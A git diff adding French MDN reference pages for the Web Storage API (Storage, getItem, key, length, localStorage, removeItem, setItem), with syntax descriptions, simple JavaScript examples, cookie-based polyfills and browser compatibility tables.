+</ul>
diff --git a/files/fr/web/api/storage/getitem/index.html b/files/fr/web/api/storage/getitem/index.html
new file mode 100644
index 0000000000..a81ccb0ccf
--- /dev/null
+++ b/files/fr/web/api/storage/getitem/index.html
@@ -0,0 +1,77 @@
+---
+title: Storage.getItem()
+slug: Web/API/Storage/getItem
+tags:
+  - API
+  - Méthode
+  - Stockage
+  - Stockage Web
+translation_of: Web/API/Storage/getItem
+---
+<p>{{APIRef("Web Storage API")}}<br>
+ La méthode <code>getItem()</code> de l'interface {{domxref("Storage")}} renvoie la valeur associée à la clé passée en paramètre.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">var <em>aValue</em> = <em>storage</em>.getItem(<em>keyName</em>);
+</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><em><code>keyName</code></em></dt>
+ <dd>Une {{domxref("DOMString")}} contenant le nom de la clé voulue.</dd>
+</dl>
+
+<h3 id="Renvoi">Renvoi</h3>
+
+<p>Une {{domxref("DOMString")}} contenant la valeur de la clé. <code>null</code> est renvoyé si aucune correspondance n'est trouvée.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante récupère trois élément du stockage local, puis réutilise les valeurs renvoyés afin de modifier le style de la page .</p>
+
+<pre class="brush: js notranslate">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour voir cette fonction utilisée dans un exemple réel, dirigez-vous vers notre <a href="https://github.com/mdn/web-storage-demo">Demo de Stockage Web (en)</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-getitem', 'Storage.getItem')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Storage.getItem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage web</a></p>
diff --git a/files/fr/web/api/storage/index.html b/files/fr/web/api/storage/index.html
new file mode 100644
index 0000000000..ed862cb650
--- /dev/null
+++ b/files/fr/web/api/storage/index.html
@@ -0,0 +1,105 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+  - API
+  - Interface
+  - Reference
+  - Stockage
+  - Storage
+translation_of: Web/API/Storage
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p>L'interface <strong><code>Storage</code></strong> de l'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a> donne accès au stockage de session (<code>SessionStorage</code>) ou au stockage local (<code>LocalStorage</code>) pour un domaine donné, vous permettant par exemple d'ajouter, de modifier ou de supprimer des éléments enregistrés.</p>
+
+<p>Si vous voulez manipuler le stockage de session pour un domaine, appelez la méthode {{domxref("Window.sessionStorage")}}. Si vous voulez manipuler le stockage local pour un domaine, appelez la méthode {{domxref("Window.localStorage")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un entier représentant le nombre d'éléments contenus dans l'objet <code>Storage</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>Lorsqu'on lui passe un nombre <code>n</code>, cette méthode renvoie le nom de la n-ième clé dans le stockage.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>Lorqu'on lui passe le nom d'une clé, cette méthode renvoie la valeur de la clé correspondante.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>Lorqu'on lui passe un nom de clé et une valeur, cette méthode ajoute cette clé et cette valeur dans le stockage. Si la clé existe déjà, elle met à jour la valeur.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>Lorqu'on lui passe le nom d'une clé, cette méthode supprime cette clé du stockage.</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>Lorsqu'elle est appelée, cette méthode supprime toutes les clés du stockage.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Nous accédons ici à un objet <code>Storage</code> en appelant <code>localStorage</code>. Nous testons d'abord si le stockage local contient des éléments en utilisant <code>!localStorage.getItem('bgcolor')</code>. Si oui, nous exécutons une fonction appelée <code>setStyles()</code> qui récupère les éléments en utilisant {{domxref("Storage.getItem()")}}, et utilise ces valeurs pour mettre à jour les styles de page. Sinon, nous exécutons une autre fonction appelée <code>populateStorage()</code>, qui utilise {{domxref("Storage.setItem()")}} pour régler les valeurs des éléments, puis qui exécute <code>setStyles()</code>.</p>
+
+<pre class="brush: js">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Storage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utiliser l'API Web Storage</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+ <li>{{domxref("CacheStorage")}}</li>
+</ul>
diff --git a/files/fr/web/api/storage/key/index.html b/files/fr/web/api/storage/key/index.html
new file mode 100644
index 0000000000..8be18bf6ea
--- /dev/null
+++ b/files/fr/web/api/storage/key/index.html
@@ -0,0 +1,143 @@
+---
+title: Storage.key()
+slug: Web/API/Storage/key
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Stockage
+  - Storage
+  - Web Storage
+translation_of: Web/API/Storage/key
+---
+<p>{{APIRef()}}</p>
+
+<p>La méthode <code>key()</code> de l'interface {{domxref("Storage")}} prend un nombre n en argument et retourne la n-ième clé contenue dans storage. L'ordre des clés étant définie par le navigateur, il est recommandé de ne pas s'y référer .</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>unNomDeCle</em> = <em>storage</em>.key(<em>cle</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>cle</em></dt>
+ <dd>Un entier représentant le numéro de la clé voulue. L'index débute à zero.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{domxref("DOMString")}} contenant le nom de la clé .</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante parcours les éléments présents dans le local storage.</p>
+
+<pre class="brush: js">function forEachKey(callback) {
+  for (var i = 0; i &lt; localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour un exemple plus poussé, consultez la <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Autre_exemple">Autre exemple</h2>
+
+<p>La fonction suivante parcourt chaque clé présente dans le localStorage et affiche les valeurs correspondantes.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; localStorage.length; i++) {
+   console.log(localStorage.getItem(localStorage.key(i)));
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Notez que les niveaux de capacités de localStorage et sessionStorage sont propres à chaque navigateur. Vous pourrez trouver ici <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">un article détaillé sur toutes les capacités de stockage de différents navigateurs</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Depuis iOS 5.1, Safari Mobile réalise ses enregistrements de données type localStorage dans le cache du navigateur, faisant objet de remises à zéro occasionelles gérés par l'OS, le plus souvent lorsque l'espace s'amoindrit.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage web</a></p>
diff --git a/files/fr/web/api/storage/length/index.html b/files/fr/web/api/storage/length/index.html
new file mode 100644
index 0000000000..2d32d4bae6
--- /dev/null
+++ b/files/fr/web/api/storage/length/index.html
@@ -0,0 +1,123 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Stockage
+  - Web Stockage
+translation_of: Web/API/Storage/length
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La propriété en lecture seule de l'interface {{domxref("Storage")}} retourne un entier représentant le nombre d'items stockés dans l'objet <code>Storage</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>aLength</em> = <em>storage</em>.length;</pre>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Un entier.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante ajoute trois éléments au localStorage du domaine courant puis retourne le nombre d'éléments dans le storage:</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // retourne 3 si localStorage est vide au préalable
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong> : Pour voir ceci utilisé dans un exemple concret, regardez notre <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Tous les navigateurs ont des niveaux de capacité de stockage variables, que ce soit pour localStorage ou sessionStorage. Pour un test de l'ensemble des capacités des différents navigateurs <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">voir ici</a>.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Depuis iOS 5.1, Safari Mobile stocke les données liées à localStorage dans un fichier de cache qui est sujet à un nettoyage occasionnel par ordre du système d'exploitation, surtout lorsqu'il reste peu de place.</p>
+</div>
+
+<h2 id="À_voir_également">À voir également</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage web</a></p>
diff --git a/files/fr/web/api/storage/localstorage/index.html b/files/fr/web/api/storage/localstorage/index.html
new file mode 100644
index 0000000000..d6286314d6
--- /dev/null
+++ b/files/fr/web/api/storage/localstorage/index.html
@@ -0,0 +1,134 @@
+---
+title: LocalStorage
+slug: Web/API/Storage/LocalStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef()}}</p>
+
+<p>La propriété <code>localStorage</code> de l’objet <code>Window</code> est comparable à {{ DOMxRef("Window.sessionStorage", "sessionStorage") }} (la même {{ Glossary("same-origin_policy", "politique de même origine") }} est appliquée), mais les données enregistrées sont persistantes d’une session à l’autre. <code>localStorage</code> a été introduit dans Firefox 3.5.</p>
+
+<div class="note"><strong>Note :</strong> Quand le navigateur est en mode navigation privée, une nouvelle base de donnée temporaire est créée pour stocker les données locales ; cette base de données est vidée et supprimée quand le mode de navigation privée est arrêté.</div>
+
+<pre class="brush:js">// Sauvegarder les informations dans l’espace local courant
+localStorage.setItem("username", "John");
+
+// Accéder à des données enregistrées
+alert("username = " + localStorage.getItem("username"));</pre>
+
+<p class="note">La persistence de <code>localStorage</code> le rend utile pour une varitété d’usages, comprenant des compteurs de vues de page comme démontré dans ce <a href="http://codepen.io/awesom3/pen/Hlfma">tutoriel sur Codepen</a>.</p>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p>Les objets {{ DOMxRef("Storage") }} sont un ajout récent au standard. Ainsi, ils pourraient ne pas être présents dans tous les navigateurs. Il est possible de contourner ce problème en insérant l’un des deux codes suivants au début de vos scripts. Cela vous permettra d’utiliser l’objet <code>localStorage</code> dans les navigateurs qui ne le supportent pas nativement.</p>
+
+<p>Cet algorithme est une imitation exacte de l’objet <code>localStorage</code>, mais utilise les cookies.</p>
+
+<pre class="brush:js">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx &lt; aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length &gt; 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+
+<div class="note"><strong>Note :</strong> La taille maximale des données est limitée par la capacité des cookies. Avec cet algorithme, utilisez les fonctions <code>localStorage.setItem()</code> et <code>localStorage.removeItem()</code> pour ajouter, changer ou supprimer une clé. L’utilisation des méthodes <code>localStorage.yourKey = yourValue;</code> et <code>delete localStorage.yourKey;</code> pour définir ou supprimer une clé n’est <strong>pas sécurisée avec ce code.</strong> Vous pouvez également changer son nom et l’utiliser pour gérer uniquement les cookies indépendamment de l’objet <code>localStorage</code>.</div>
+
+<div class="note"><strong>Note :</strong> En remplaçant <code>"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> par <code>"; path=/"</code> (et en changeant le nom de l’objet), cela deviendra un polyfill pour <code>sessionStorage</code> plutôt que pour <code>localStorage</code>. Cependant, cette implémentation partagera les valeurs stockées entre les fenêtres et onglets du navigateur (et sera nettoyée seulement quand toutes les fenêtres du navigateur sont fermées), tandis qu’une implémentation fidèle de <code>sessionStorage</code> restreint les valeurs stockées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.</div>
+
+<p>Voici une autre imitation, moins exacte, de l’objet <code>localStorage</code>. Elle est plus simple que la version précédente, mais est compatible avec les navigateur plus anciens comme Internet Explorer &lt; 8 (<strong>testé et vérifié même avec Internet Explorer 6</strong>). Ce code utilise également les cookies.</p>
+
+<pre class="brush:js">if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+
+<div class="note"><strong>Note :</strong> La taille maximale des données est limitée par les capacités des cookies. Avec cet algorithme, utilisez les fonctions <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, et <code>localStorage.removeItem()</code> pour récupérer, ajouter, modifier ou supprimer une clé. L’utilsation de la méthode <code>localStorage.yourKey</code> pour récupérer, définir, ou supprimer une clé <strong>n’est pas possible avec ce code</strong>. Vous pouvez également changer son nom et l’utiliser pour gérer les cookies indépendamment de l’objet <code>localStorage</code>.</div>
+
+<div class="note"><strong>Note :</strong> En remplaçant la chaîne <code>"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> par <code>"; path=/"</code> (et en changeant le nom de l’objet), cela deviendra un polyfill pour <code>sessionStorage</code> plutôt que pour <code>localStorage</code>. Cependant, cette implémentation partagera les valeurs stockées au travers des onglets et fenêtres du navigateur (et seront supprimée uniquement quand toutes les fenêtres du navigateur seront fermées), alors qu’une implémentation pleinement compatible avec <code>sessionStorage</code> restreint les valeurs sauvegardées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.</div>
+
+<h3 id="Compatibilité_et_relation_avec_globalStorage">Compatibilité et relation avec globalStorage</h3>
+
+<p><code>localStorage</code> est équivalent à <code>globalStorage[location.hostname]</code>, à la différence qu’il est rattaché à une {{ Glossary("origine") }} HTML5, et que <code>localStorage</code> est une instance de <code>Storage</code>, contrairement à <code>globalStorage[location.hostname]</code> qui est une instance de <code>StorageObsolete</code> (qui est abordé ci-dessous). Par exemple, <a class="external" href="http://example.com" rel="freelink">http://example.com</a> ne sera pas capable d’accéder au même objet <code>localStorage</code> que <a class="link-https" href="https://example.com" rel="freelink">https://example.com</a> mais il pourront accéder au même élément <code>globalStorage</code>. <code>localStorage</code> est une interface standard alors que <code>globalStorage</code> n’est pas standard. Ainsi, vous ne devriez pas vous fier à cette dernière.</p>
+
+<p>Veuillez noter que définir une propriété sur <code>globalStorage[location.hostname]</code> n’entraîne <strong>pas</strong> sa définition sur <code>localStorage</code>, et qu’étendre <code>Storage.prototype</code> n’affecte pas les objets <code>globalStorage</code> ; pour faire ainsi, c’est <code>StorageObsolete.prototype</code> qu’il faut étendre.</p>
+
+<h2 id="Format_de_stockage">Format de stockage</h2>
+
+<p>Les clés et les valeurs de <code>Storage</code> sont stockées au format {{ DOMxRef("DOMString") }} UTF-16, qui utilise 2 octets par caractère.</p>
diff --git a/files/fr/web/api/storage/removeitem/index.html b/files/fr/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..f978fceb95
--- /dev/null
+++ b/files/fr/web/api/storage/removeitem/index.html
@@ -0,0 +1,83 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+  - API
+  - Méthode
+  - Stockage
+  - Stockage Web
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La méthode <strong><code>removeItem()</code></strong> de l'interface {{domxref("Storage")}} , lorsque vous lui passez une clé en argument, va supprimer la ressource avec le nom de clé correspondant du storage. L'interface <strong><code>Storage</code></strong> de l'API <a href="/fr/docs/Web/API/Web_Storage_API">Web Storage API</a> fournit des accès particuliers dans les domaines des stockages locaux et de sessions.</p>
+
+<p>Si aucun élement n'est donné en paramètre <code>nomCle</code>, cette méthode ne fait rien.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>nomCle</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><u>nomCle</u></em></dt>
+ <dd>Un {{domxref("DOMString")}} contenant le nom de la clé que vous voulez supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante crée trois données dans le stockage local, puis va supprimer la donnée image.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}</pre>
+
+<p>Nous pouvons également faire ceci avec le stockage de session.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  <code>sessionStorage</code>.setItem('bgcolor', 'red');
+  <code>sessionStorage</code>.setItem('font', 'Helvetica');
+  <code>sessionStorage</code>.setItem('image', 'myCat.png');
+
+  <code>sessionStorage</code>.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour voir ce code en fonctionnement, voir <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-removeitem', 'Storage.removeItem')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Storage.removeItem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage Web</a></p>
diff --git a/files/fr/web/api/storage/setitem/index.html b/files/fr/web/api/storage/setitem/index.html
new file mode 100644
index 0000000000..d36e170886
--- /dev/null
+++ b/files/fr/web/api/storage/setitem/index.html
@@ -0,0 +1,139 @@
+---
+title: Storage.setItem()
+slug: Web/API/Storage/setItem
+tags:
+  - API
+  - Méthode
+  - Stockage
+  - Stockage Web
+translation_of: Web/API/Storage/setItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La méthode <code>setItem()</code> de l'interface {{domxref("Storage")}}, lorsque lui sont passées le duo clé-valeur, les ajoute à l'emplacement de stockage, sinon elle met à jour la valeur si la clé existe déjà.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>storage</em>.setItem(<em>nomClé</em>, <em>valeurClé</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>nomClé</em></dt>
+ <dd>C'est une {{domxref("DOMString")}} contenant le nom de la clé que l'on souhaite créer/modifier.</dd>
+ <dt><em>valeurClé</em></dt>
+ <dd>C'est une {{domxref("DOMString")}} contenant la valeur associée à son nom de clé que l'on souhaite créer/modifier.</dd>
+</dl>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p><em>Aucune valeur de retour.</em></p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p><code>setItem()</code> peut émettre une exception si l'emplacement de stockage est plein. En particulier pour Safari mobile (depuis iOS 5), elle émettra une exception si l'utilisateur passe en navigation privée (contrairement aux autres navigateur qui autorisent le stockage même en navigation privée en utilisant un conteneur de données séparé, Safari met son quota de stockage à 0 octets).<br>
+ Par conséquent les développeurs devraient être sûrs de toujours de <strong>systématiquement capturer toute possible exception venant de setItem().</strong></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante crée trois éléments à l'intérieur du stockage local.</p>
+
+<pre class="brush: js">function remplissageStockage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong> : Pour voir ceci utilisé dans un exemple concret, regardez notre <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
